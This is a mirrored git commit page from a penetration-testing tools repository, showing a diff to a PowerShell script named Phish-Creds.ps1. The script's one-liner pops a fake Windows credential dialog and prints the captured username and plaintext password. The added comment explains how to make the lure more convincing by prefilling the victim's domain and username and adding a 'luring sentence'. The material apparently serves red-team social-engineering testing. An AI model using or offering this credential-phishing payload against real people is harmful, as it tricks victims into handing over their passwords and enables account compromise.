mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-22 02:21:36 +01:00
Update Phish-Creds.ps1
This commit is contained in:
parent
55a66e85a6
commit
1f56f07576
@ -13,6 +13,12 @@ try {
|
|||||||
} catch {
|
} catch {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
One can additionally add, right after Get-Credential following parameters that could improve
|
||||||
|
pretext's quality during social engineering attempt:
|
||||||
|
|
||||||
|
-Credential domain\username - when we know our victim's domain and/or username - we can supply this info to the dialog
|
||||||
|
-Message "Some luring sentence" - to include some luring message
|
||||||
|
|
||||||
#>
|
#>
|
||||||
|
|
||||||
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }
|
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }
|
Loading…
Reference in New Issue
Block a user